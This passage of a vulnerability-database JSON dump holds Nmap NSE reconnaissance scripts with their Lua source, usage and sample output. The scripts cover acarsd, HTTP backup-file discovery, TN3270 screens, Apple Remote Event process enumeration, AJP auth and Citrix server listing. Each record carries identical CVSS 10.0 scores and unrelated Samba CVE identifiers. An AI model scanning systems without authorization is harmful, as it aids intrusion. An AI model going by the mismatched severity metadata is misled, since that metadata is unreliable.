stdnse.debug1(\"Connecting to %s:%s [Timeout: %ss]\", host.targetname or host.ip, port.number, timeout)\n local status, data = comm.get_banner(host, port, {timeout=timeout*1000,bytes=bytes})\n if not status or not data then\n stdnse.debug1(\"Retrieving data from %s:%s failed [Timeout expired]\", host.targetname or host.ip, port.number)\n return\n end\n\n -- Check if retrieved data is valid acarsd data\n if not string.match(data, \"acarsd\") then\n stdnse.debug1(\"%s:%s is not an acarsd Daemon.\", host.targetname or host.ip, port.number)\n return\n end\n\n -- Check for restricted access -- Parse daemon info\n if string.match(data, \"Authorization needed%. If your client doesnt support this\") then\n\n local version_match = string.match(data, \"acarsd\\t(.+)\\t\")\n if version_match then table.insert(result, string.format(\"Version: %s\", version_match)) end\n local api_version_match = string.match(data, \"acarsd\\t.+\\t(API.+[0-9][0-9]?)\")\n if api_version_match then table.insert(result, string.format(\"API Version: %s\", api_version_match)) end\n table.insert(result, \"Authorization Required: 1\")\n\n -- Check for unrestricted access -- Parse daemon info\n else\n\n stdnse.debug1(\"Parsing data from %s:%s\", host.targetname or host.ip, port.number)\n local vars = {\n {\"Version\",\"Version\"},\n {\"API Version\",\"APIVersion\"},\n --{\"Hostname\",\"Hostname\"},\n --{\"Port\",\"Port\"},\n --{\"Server UUID\",\"ServerUUID\"},\n {\"Authorization Required\",\"NeedAuth\"},\n {\"Admin E-mail\",\"AdminMail\"},\n {\"Clients Connected\",\"ClientsConnected\"},\n {\"Frequency\",\"Frequency\"},\n {\"License\",\"License\"},\n }\n for _, var in ipairs(vars) do\n local tag = var[2]\n local var_match = string.match(data, string.format('<%s>(.+)</%s>', tag, tag))\n if var_match then table.insert(result, string.format(\"%s: %s\", var[1], string.gsub(var_match, \"&\", \"&\"))) end\n end\n\n end\n port.version.name = \"acarsd\"\n port.version.product = \"ACARS Decoder\"\n nmap.set_port_version(host, port)\n\n -- Return results\n return stdnse.format_output(true, result)\n\nend\n\n", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-02-15T21:44:29", "description": "Spiders a website and attempts to identify backup copies of discovered files. It does so by requesting a number of different combinations of the filename (eg. index.bak, index.html~, copy of index.html).\n\n## Script Arguments \n\n#### http-backup-finder.maxpagecount \n\nthe maximum amount of pages to visit. A negative value disables the limit (default: 20)\n\n#### http-backup-finder.withindomain \n\nonly spider URLs within the same domain. This widens the scope from `withinhost` and can not be used in combination. (default: false)\n\n#### http-backup-finder.maxdepth \n\nthe maximum amount of directories beneath the initial url to spider. A negative value disables the limit. (default: 3)\n\n#### http-backup-finder.url \n\nthe url to start spidering. This is a URL relative to the scanned host eg. /default.html (default: /)\n\n#### http-backup-finder.withinhost \n\nonly spider URLs within the same host. (default: true)\n\n#### slaxml.debug \n\nSee the documentation for the [slaxml](<../lib/slaxml.html#script-args>) library. \n\n#### httpspider.doscraping, httpspider.maxdepth, httpspider.maxpagecount, httpspider.noblacklist, httpspider.url, httpspider.useheadfornonwebfiles, httpspider.withindomain, httpspider.withinhost \n\nSee the documentation for the [httpspider](<../lib/httpspider.html#script-args>) library. \n\n#### smbdomain, smbhash, smbnoguest, smbpassword, smbtype, smbusername \n\nSee the documentation for the [smbauth](<../lib/smbauth.html#script-args>) library. \n\n#### http.host, http.max-body-size, http.max-cache-size, http.max-pipeline, http.pipeline, http.truncated-ok, http.useragent \n\nSee the documentation for the [http](<../lib/http.html#script-args>) library. \n\n## Example Usage \n \n \n nmap --script=http-backup-finder <target>\n \n\n## Script Output \n \n \n PORT STATE SERVICE REASON\n 80/tcp open http syn-ack\n | http-backup-finder:\n | Spidering limited to: maxdepth=3; maxpagecount=20; withindomain=example.com\n | http://example.com/index.bak\n | http://example.com/login.php~\n | http://example.com/index.php~\n |_ http://example.com/help.bak\n \n\n## Requires \n\n * [coroutine](<>)\n * [http](<../lib/http.html>)\n * [httpspider](<../lib/httpspider.html>)\n * [shortport](<../lib/shortport.html>)\n * [stdnse](<../lib/stdnse.html>)\n * [table](<>)\n * [url](<../lib/url.html>)\n\n* * *\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 5.9}, "published": "2011-12-10T10:32:18", "type": "nmap", "title": "http-backup-finder NSE Script", "bulletinFamily": "scanner", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2012-1182", "CVE-2017-7494"], "modified": "2017-04-19T18:00:36", "id": "NMAP:HTTP-BACKUP-FINDER.NSE", "href": "https://nmap.org/nsedoc/scripts/http-backup-finder.html", "sourceData": "local coroutine = require \"coroutine\"\nlocal http = require \"http\"\nlocal httpspider = require \"httpspider\"\nlocal shortport = require \"shortport\"\nlocal stdnse = require \"stdnse\"\nlocal table = require \"table\"\nlocal url = require \"url\"\n\ndescription = [[\nSpiders a website and attempts to identify backup copies of discovered files.\nIt does so by requesting a number of different combinations of the filename (eg. index.bak, index.html~, copy of index.html).\n]]\n\n---\n-- @usage\n-- nmap --script=http-backup-finder <target>\n--\n-- @output\n-- PORT STATE SERVICE REASON\n-- 80/tcp open http syn-ack\n-- | http-backup-finder:\n-- | Spidering limited to: maxdepth=3; maxpagecount=20; withindomain=example.com\n-- | http://example.com/index.bak\n-- | http://example.com/login.php~\n-- | http://example.com/index.php~\n-- |_ http://example.com/help.bak\n--\n-- @args http-backup-finder.maxdepth the maximum amount of directories beneath\n-- the initial url to spider. A negative value disables the limit.\n-- (default: 3)\n-- @args http-backup-finder.maxpagecount the maximum amount of pages to visit.\n-- A negative value disables the limit (default: 20)\n-- @args http-backup-finder.url the url to start spidering. This is a URL\n-- relative to the scanned host eg. /default.html (default: /)\n-- @args http-backup-finder.withinhost only spider URLs within the same host.\n-- (default: true)\n-- @args http-backup-finder.withindomain only spider URLs within the same\n-- domain. This widens the scope from <code>withinhost</code> and can\n-- not be used in combination. (default: false)\n--\n\nauthor = \"Patrik Karlsson\"\nlicense = \"Same as Nmap--See https://nmap.org/book/man-legal.html\"\ncategories = {\"discovery\", \"safe\"}\n\n\nportrule = shortport.http\n\nlocal function backupNames(filename)\n local function createBackupNames()\n local dir = filename:match(\"^(.*/)\") or \"\"\n local basename, suffix = filename:match(\"([^/]*)%.(.*)$\")\n\n local backup_names = {}\n if basename then\n table.insert(backup_names, \"{basename}.bak\") -- generic bak file\n end\n if basename and suffix then\n table.insert(backup_names, \"{basename}.{suffix}~\") -- emacs\n table.insert(backup_names, \"{basename} copy.{suffix}\") -- mac copy\n table.insert(backup_names, \"Copy of {basename}.{suffix}\") -- windows copy\n table.insert(backup_names, \"Copy (2) of {basename}.{suffix}\") -- windows second copy\n table.insert(backup_names, \"{basename}.{suffix}.1\") -- generic backup\n table.insert(backup_names, \"{basename}.{suffix}.~1~\") -- bzr --revert residue\n\n end\n\n local replace_patterns = {\n [\"{filename}\"] = filename,\n [\"{basename}\"] = basename,\n [\"{suffix}\"] = suffix,\n }\n\n for _, name in ipairs(backup_names) do\n local backup_name = name\n for p, v in pairs(replace_patterns) do\n backup_name = backup_name:gsub(p,v)\n end\n coroutine.yield(dir .. backup_name)\n end\n end\n return coroutine.wrap(createBackupNames)\nend\n\naction = function(host, port)\n\n local crawler = httpspider.Crawler:new(host, port, nil, { scriptname = SCRIPT_NAME } )\n crawler:set_timeout(10000)\n\n -- Identify servers that answer 200 to invalid HTTP requests and exit as these would invalidate the tests\n local status_404, result_404, known_404 = http.identify_404(host,port)\n if ( status_404 and result_404 == 200 ) then\n stdnse.debug1(\"Exiting due to ambiguous response from web server on %s:%s. All URIs return status 200.\", host.ip, port.number)\n return nil\n end\n\n -- Check if we can use HEAD requests\n local use_head = http.can_use_head(host, port, result_404)\n\n local backups = {}\n while(true) do\n local status, r = crawler:crawl()\n -- if the crawler fails it can be due to a number of different reasons\n -- most of them are \"legitimate\" and should not be reason to abort\n if ( not(status) ) then\n if ( r.err ) then\n return stdnse.format_output(false, r.reason)\n else\n break\n end\n end\n\n -- parse the returned url\n local parsed = url.parse(tostring(r.url))\n\n -- handle case where only hostname was provided\n if ( parsed.path == nil ) then\n parsed.path = '/'\n end\n\n -- only pursue links that have something looking as a file\n if ( parsed.path:match(\".*%.*.$\") ) then\n -- iterate over possible backup files\n for link in backupNames(parsed.path) do\n local host = parsed.host\n local port = parsed.port or url.get_default_port(parsed.scheme)\n\n -- the url.escape doesn't work here as it encodes / to %2F\n -- which results in 400 bad request, so we simple do a space\n -- replacement instead.\n local escaped_link = link:gsub(\" \", \"%%20\")\n\n local response\n if(use_head) then\n response = http.head(host, port, escaped_link, {redirect_ok=false})\n else\n response = http.get(host, port, escaped_link, {redirect_ok=false})\n end\n\n if http.page_exists(response, result_404, known_404, escaped_link, false) then\n if ( not(parsed.port) ) then\n table.insert(backups,\n (\"%s://%s%s\"):format(parsed.scheme, host, link))\n else\n table.insert(backups,\n (\"%s://%s:%d%s\"):format(parsed.scheme, host, port, link))\n end\n end\n end\n end\n end\n\n if ( #backups > 0 ) then\n backups.name = crawler:getLimitations()\n return stdnse.format_output(true, backups)\n end\nend\n", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-02-15T09:33:30", "description": "Connects to a tn3270 'server' and returns the screen. \n\nHidden fields will be listed below the screen with (row, col) coordinates.\n\n## Script Arguments \n\n#### tn3270-screen.commands \n\na semi-colon separated list of commands you want to issue before printing the screen tn3270-screen.lu specify a logical unit you with to use, fails if can't connect tn3270-screen.disable_tn3270e disables TN3270 Enhanced mode\n\n## Example Usage \n \n \n nmap --script tn3270-info,tn3270_screen <host>\n \n\n## Script Output \n \n \n PORT STATE SERVICE VERSION\n 23/tcp open tn3270 Telnet TN3270\n | tn3270-screen:\n | screen:\n | Mainframe Operating System z/OS V1.6\n | FFFFF AAA N N DDDD EEEEE ZZZZZ H H III\n | F A A NN N D D E Z H H I\n | FFFF AAAAA N N N D D EEEE Z HHHHH I\n | F A A N NN D D E Z H H I\n | F A A N N DDDD EEEEE ZZZZZ H H III\n |\n | ZZZZZ / OOOOO SSSS\n | Z / O O S\n | Z / O O SSS\n | Z / O O S\n | ZZZZZ / OOOOO SSSS\n |\n | Welcome to Fan DeZhi Mainframe System!\n |\n | Support: http://zos.efglobe.com\n | TSO - Logon to TSO/ISPF NETVIEW - Netview System\n | CICS - CICS System NVAS - Netview Access\n | IMS - IMS System AOF - Netview Automation\n |\n | Enter your choice==>\n | Hi! Enter one of above commands in red.\n |\n |_Your IP(10.10.10.375 :64199), SNA LU( ) 05/30/15 13:33:37\n \n\n## Requires \n\n * [stdnse](<../lib/stdnse.html>)\n * [shortport](<../lib/shortport.html>)\n * [tn3270](<../lib/tn3270.html>)\n\n* * *\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 5.9}, "published": "2016-12-08T20:23:16", "type": "nmap", "title": "tn3270-screen NSE Script", "bulletinFamily": "scanner", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2012-1182", "CVE-2017-7494"], "modified": "2019-03-21T04:07:55", "id": "NMAP:TN3270-SCREEN.NSE", "href": "https://nmap.org/nsedoc/scripts/tn3270-screen.html", "sourceData": "local stdnse = require \"stdnse\"\nlocal shortport = require \"shortport\"\nlocal tn3270 = require \"tn3270\"\n\ndescription = [[\nConnects to a tn3270 'server' and returns the screen.\n\nHidden fields will be listed below the screen with (row, col) coordinates.\n]]\n\n---\n-- @usage\n-- nmap --script tn3270-info,tn3270_screen <host>\n--\n-- @output\n-- PORT STATE SERVICE VERSION\n-- 23/tcp open tn3270 Telnet TN3270\n-- | tn3270-screen:\n-- | screen:\n-- | Mainframe Operating System z/OS V1.6\n-- | FFFFF AAA N N DDDD EEEEE ZZZZZ H H III\n-- | F A A NN N D D E Z H H I\n-- | FFFF AAAAA N N N D D EEEE Z HHHHH I\n-- | F A A N NN D D E Z H H I\n-- | F A A N N DDDD EEEEE ZZZZZ H H III\n-- |\n-- | ZZZZZ / OOOOO SSSS\n-- | Z / O O S\n-- | Z / O O SSS\n-- | Z / O O S\n-- | ZZZZZ / OOOOO SSSS\n-- |\n-- | Welcome to Fan DeZhi Mainframe System!\n-- |\n-- | Support: http://zos.efglobe.com\n-- | TSO - Logon to TSO/ISPF NETVIEW - Netview System\n-- | CICS - CICS System NVAS - Netview Access\n-- | IMS - IMS System AOF - Netview Automation\n-- |\n-- | Enter your choice==>\n-- | Hi! Enter one of above commands in red.\n-- |\n-- |_Your IP(10.10.10.375 :64199), SNA LU( ) 05/30/15 13:33:37\n--\n-- @args tn3270-screen.commands a semi-colon separated list of commands you want to\n-- issue before printing the screen\n-- tn3270-screen.lu specify a logical unit you with to use, fails if can't connect\n-- tn3270-screen.disable_tn3270e disables TN3270 Enhanced mode\n--\n--\n-- @changelog\n-- 2015-05-30 - v0.1 - created by Soldier of Fortran\n-- 2015-11-14 - v0.2 - added commands argument\n-- 2018-09-07 - v0.3 - added support for Logical Units\n-- 2019-02-01 - v0.4 - Added ability to disable TN3270E mode\n--\n\nauthor = \"Philip Young aka Soldier of Fortran\"\nlicense = \"Same as Nmap--See https://nmap.org/book/man-legal.html\"\ncategories = {\"safe\", \"discovery\"}\n\nportrule = shortport.port_or_service({23,992}, {\"tn3270\"})\n\nlocal hidden_field_mt = {\n __tostring = function(t)\n return (\"(%d, %d): %s\"):format(t.row, t.col, t.field)\n end,\n}\n\naction = function(host, port)\n local commands = stdnse.get_script_args(SCRIPT_NAME .. '.commands')\n local disable_tn3270e = stdnse.get_script_args(SCRIPT_NAME .. '.disable_tn3270e') or false\n local lu = stdnse.get_script_args(SCRIPT_NAME .. '.lu')\n local t = tn3270.Telnet:new()\n if lu and not disable_tn3270e then\n stdnse.debug(\"Setting LU: %s\", lu)\n t:set_lu(lu)\n end\n \n if disable_tn3270e then\n t:disable_tn3270e()\n end\n local status, err = t:initiate(host,port)\n if not status then\n stdnse.debug(\"Could not initiate TN3270: %s\", err )\n return\n else\n if commands then\n local run = stdnse.strsplit(\";%s*\", commands)\n for i = 1, #run do\n stdnse.debug(1,\"Issuing Command (#%s of %s): %s\", i, #run ,run[i])\n t:send_cursor(run[i])\n t:get_all_data()\n t:get_screen_debug(2)\n end\n end\n status = t:get_all_data()\n local hidden\n if t:any_hidden() then\n hidden = {}\n local hidden_buggers = t:hidden_fields()\n local hidden_locs = t:hidden_fields_location()\n for i = 1, #hidden_buggers do\n local j = i*2 - 1\n local field = {\n field = hidden_buggers[i],\n row = t:BA_TO_ROW(hidden_locs[j]),\n col = t:BA_TO_COL(hidden_locs[j]),\n }\n setmetatable(field, hidden_field_mt)\n hidden[i] = field\n end\n end\n local out = stdnse.output_table()\n out.screen = t:get_screen()\n out[\"hidden fields\"] = hidden\n if not disable_tn3270e then \n out[\"logical unit\"]= t:get_lu()\n end\n return out\n end\nend\n", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-02-15T21:45:27", "description": "Attempts to enumerate process info over the Apple Remote Event protocol. When accessing an application over the Apple Remote Event protocol the service responds with the uid and pid of the application, if it is running, prior to requesting authentication.\n\n## Example Usage \n \n \n nmap -p 3031 <ip> --script eppc-enum-processes\n \n\n## Script Output \n \n \n PORT STATE SERVICE\n 3031/tcp open eppc\n | eppc-enum-processes:\n | application uid pid\n | Address Book 501 269\n | Facetime 501 495\n | Finder 501 274\n | iPhoto 501 267\n | Photo booth 501 471\n | Remote Buddy 501 268\n | Safari 501 270\n | Terminal 501 266\n | Transmission 501 265\n |_VLC media player 501 367\n \n\n## Requires \n\n * [nmap](<../lib/nmap.html>)\n * [shortport](<../lib/shortport.html>)\n * [stdnse](<../lib/stdnse.html>)\n * [string](<>)\n * [tab](<../lib/tab.html>)\n\n* * *\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 5.9}, "published": "2012-05-29T18:25:49", "type": "nmap", "title": "eppc-enum-processes NSE Script", "bulletinFamily": "scanner", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2012-1182", "CVE-2017-7494"], "modified": "2018-09-01T18:50:19", "id": "NMAP:EPPC-ENUM-PROCESSES.NSE", "href": "https://nmap.org/nsedoc/scripts/eppc-enum-processes.html", "sourceData": "local nmap = require('nmap')\nlocal shortport = require('shortport')\nlocal stdnse = require('stdnse')\nlocal string = require('string')\nlocal tab = require('tab')\n\ndescription = [[\nAttempts to enumerate process info over the Apple Remote Event protocol.\nWhen accessing an application over the Apple Remote Event protocol the\nservice responds with the uid and pid of the application, if it is running,\nprior to requesting authentication.\n]]\n\n---\n-- @usage\n-- nmap -p 3031 <ip> --script eppc-enum-processes\n--\n-- @output\n-- PORT STATE SERVICE\n-- 3031/tcp open eppc\n-- | eppc-enum-processes:\n-- | application uid pid\n-- | Address Book 501 269\n-- | Facetime 501 495\n-- | Finder 501 274\n-- | iPhoto 501 267\n-- | Photo booth 501 471\n-- | Remote Buddy 501 268\n-- | Safari 501 270\n-- | Terminal 501 266\n-- | Transmission 501 265\n-- |_VLC media player 501 367\n--\n\nauthor = \"Patrik Karlsson\"\nlicense = \"Same as Nmap--See https://nmap.org/book/man-legal.html\"\ncategories = {\"discovery\", \"safe\"}\n\nportrule = shortport.port_or_service(3031, \"eppc\", \"tcp\", \"open\")\n\naction = function( host, port )\n\n local socket = nmap.new_socket()\n socket:set_timeout(5000)\n\n local try = nmap.new_try(\n function()\n stdnse.debug1(\"failed\")\n socket:close()\n end\n )\n\n -- a list of application that may or may not be running on the target\n local apps = {\n \"Address Book\",\n \"App Store\",\n \"Facetime\",\n \"Finder\",\n \"Firefox\",\n \"Google Chrome\",\n \"iChat\",\n \"iPhoto\",\n \"Keychain Access\",\n \"iTunes\",\n \"Photo booth\",\n \"QuickTime Player\",\n \"Remote Buddy\",\n \"Safari\",\n \"Spotify\",\n \"Terminal\",\n \"TextMate\",\n \"Transmission\",\n \"VLC\",\n \"VLC media player\",\n }\n\n local results = tab.new(3)\n tab.addrow( results, \"application\", \"uid\", \"pid\" )\n\n for _, app in ipairs(apps) do\n try( socket:connect(host, port, \"tcp\") )\n local data\n\n local packets = {\n \"PPCT\\0\\0\\0\\1\\0\\0\\0\\1\",\n -- unfortunately I've found no packet specifications, so this has to do\n stdnse.fromhex(\"e44c50525401e101\")\n .. string.pack(\"Bs1\", 225 + #app, app)\n .. stdnse.fromhex(\"dfdbe302013ddfdfdfdfd500\"),\n }\n\n for _, v in ipairs(packets) do\n try( socket:send(v) )\n data = try( socket:receive() )\n end\n\n local uid, pid = data:match(\"uid=(%d+)&pid=(%d+)\")\n if ( uid and pid ) then tab.addrow( results, app, uid, pid ) end\n\n try( socket:close() )\n end\n\n return \"\\n\" .. tab.dump(results)\n\nend\n", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-02-15T21:47:37", "description": "Retrieves the authentication scheme and realm of an AJP service (Apache JServ Protocol) that requires authentication.\n\n## Script Arguments \n\n#### ajp-auth.path \n\nDefine the request path\n\n#### slaxml.debug \n\nSee the documentation for the [slaxml](<../lib/slaxml.html#script-args>) library. \n\n#### http.host, http.max-body-size, http.max-cache-size, http.max-pipeline, http.pipeline, http.truncated-ok, http.useragent \n\nSee the documentation for the [http](<../lib/http.html#script-args>) library. \n\n#### smbdomain, smbhash, smbnoguest, smbpassword, smbtype, smbusername \n\nSee the documentation for the [smbauth](<../lib/smbauth.html#script-args>) library. \n\n## Example Usage \n \n \n nmap -p 8009 <ip> --script ajp-auth [--script-args ajp-auth.path=/login]\n \n\n## Script Output \n \n \n PORT STATE SERVICE\n 8009/tcp open ajp13\n | ajp-auth:\n |_ Digest opaque=GPui3SvCGBoHrRMMzSsgaYBV qop=auth nonce=1336063830612:935b5b389696b0f67b9193e19f47e037 realm=example.org\n \n\n## Requires \n\n * [ajp](<../lib/ajp.html>)\n * [http](<../lib/http.html>)\n * [shortport](<../lib/shortport.html>)\n * [stdnse](<../lib/stdnse.html>)\n * [table](<>)\n\n* * *\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 5.9}, "published": "2012-05-07T18:49:22", "type": "nmap", "title": "ajp-auth NSE Script", "bulletinFamily": "scanner", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2012-1182", "CVE-2017-7494"], "modified": "2015-11-05T20:41:05", "id": "NMAP:AJP-AUTH.NSE", "href": "https://nmap.org/nsedoc/scripts/ajp-auth.html", "sourceData": "local ajp = require \"ajp\"\nlocal http = require \"http\"\nlocal shortport = require \"shortport\"\nlocal stdnse = require \"stdnse\"\nlocal table = require \"table\"\n\ndescription = [[\nRetrieves the authentication scheme and realm of an AJP service (Apache JServ Protocol) that requires authentication.\n]]\n\n---\n-- @usage\n-- nmap -p 8009 <ip> --script ajp-auth [--script-args ajp-auth.path=/login]\n--\n-- @output\n-- PORT STATE SERVICE\n-- 8009/tcp open ajp13\n-- | ajp-auth:\n-- |_ Digest opaque=GPui3SvCGBoHrRMMzSsgaYBV qop=auth nonce=1336063830612:935b5b389696b0f67b9193e19f47e037 realm=example.org\n--\n-- @args ajp-auth.path Define the request path\n--\n\nauthor = \"Patrik Karlsson\"\nlicense = \"Same as Nmap--See https://nmap.org/book/man-legal.html\"\ncategories = {\"default\", \"auth\", \"safe\"}\n\n\nportrule = shortport.port_or_service(8009, 'ajp13', 'tcp')\n\nlocal arg_path = stdnse.get_script_args(SCRIPT_NAME .. \".path\")\n\naction = function(host, port)\n local helper = ajp.Helper:new(host, port)\n\n if ( not(helper:connect()) ) then\n return stdnse.format_output(false, \"Failed to connect to AJP server\")\n end\n\n local status, answer = helper:get(arg_path or \"/\")\n\n --- check for 401 response code\n if ( not(status) or answer.status ~= 401 ) then\n return\n end\n\n local result = { name = answer.status_line:match(\"^(.*)\\r?\\n$\") }\n\n local www_authenticate = answer.headers[\"www-authenticate\"]\n if not www_authenticate then\n table.insert( result, (\"Server returned status %d but no WWW-Authenticate header.\"):format(answer.status) )\n return stdnse.format_output(true, result)\n end\n\n local challenges = http.parse_www_authenticate(www_authenticate)\n if ( not(challenges) ) then\n table.insert( result, (\"Server returned status %d but the WWW-Authenticate header could not be parsed.\"):format(answer.status) )\n table.insert( result, (\"WWW-Authenticate: %s\"):format(www_authenticate) )\n return stdnse.format_output(true, result)\n end\n\n for _, challenge in ipairs(challenges) do\n local line = challenge.scheme\n if ( challenge.params ) then\n for name, value in pairs(challenge.params) do\n line = line .. (\" %s=%s\"):format(name, value)\n end\n end\n table.insert(result, line)\n end\n return stdnse.format_output(true, result)\nend\n", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-02-15T21:46:24", "description": "Extracts the name of the server farm and member servers from Citrix XML service.\n\n## Script Arguments \n\n#### slaxml.debug \n\nSee the documentation for the [slaxml](<../lib/slaxml.html#script-args>) library. \n\n#### http.host, http.max-body-size, http.max-cache-size, http.max-pipeline, http.pipeline, http.truncated-ok, http.useragent \n\nSee the documentation for the [http](<../lib/http.html#script-args>) library. \n\n#### smbdomain, smbhash, smbnoguest, smbpassword, smbtype, smbusername \n\nSee the documentation for the [smbauth](<../lib/smbauth.html#script-args>) library. \n\n## Example Usage \n \n \n nmap --script=citrix-enum-servers-xml -p 80,443,8080 <host>\n \n\n## Script Output \n \n \n PORT STATE SERVICE REASON\n 8080/tcp open http-proxy syn-ack\n | citrix-enum-servers-xml:\n | CITRIX-SRV01\n |_ CITRIX-SRV01\n\n## Requires \n\n * [citrixxml](<../lib/citrixxml.html>)\n * [shortport](<../lib/shortport.html>)\n * [stdnse](<../lib/stdnse.html>)\n * [table](<>)\n\n* * *\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 5.9}, "published": "2009-12-14T07:30:38", "type": "nmap", "title": "citrix-enum-servers-xml NSE Script", "bulletinFamily": "scanner", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2012-1182", "CVE-2017-7494"], "modified": "2015-11-05T20:41:05", "id": "NMAP:CITRIX-ENUM-SERVERS-XML.NSE", "href": "https://nmap.org/nsedoc/scripts/citrix-enum-servers-xml.html", "sourceData": "local citrixxml = require \"citrixxml\"\nlocal shortport = require \"shortport\"\nlocal stdnse = require \"stdnse\"\nlocal table = require \"table\"\n\ndescription = [[\nExtracts the name of the server farm and member servers from Citrix XML\nservice.\n]]\n\n---\n-- @usage\n-- nmap --script=citrix-enum-servers-xml -p 80,443,8080 <host>\n--\n-- @output\n-- PORT STATE SERVICE REASON\n-- 8080/tcp open http-proxy syn-ack\n-- | citrix-enum-servers-xml:\n-- | CITRIX-SRV01\n-- |_ CITRIX-SRV01\n\n-- Version 0.2\n\n-- Created 11/26/2009 - v0.1 - created by Patrik Karlsson <patrik@cqure.net>\n-- Revised 12/02/2009 - v0.2 - Use stdnse.format_ouput for output\n\nauthor = \"Patrik Karlsson\"\nlicense = \"Same as Nmap--See https://nmap.org/book/man-legal.html\"\ncategories = {\"discovery\", \"safe\"}\n\n\nportrule = shortport.portnumber({8080,80,443}, \"tcp\")\n\n\naction = function(host, port)\n\n local xmldata = citrixxml.request_server_data(host, port)\n local servers = citrixxml.parse_server_data_response(xmldata)\n local response = {}\n\n for _, srv in ipairs(servers) do\n table.insert(response, srv)\n end\n\n return stdnse.format_output(true, response)\n\nend\n", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-02-15T09:41:46", "description": "Gets the routers WAN IP using the NAT Port 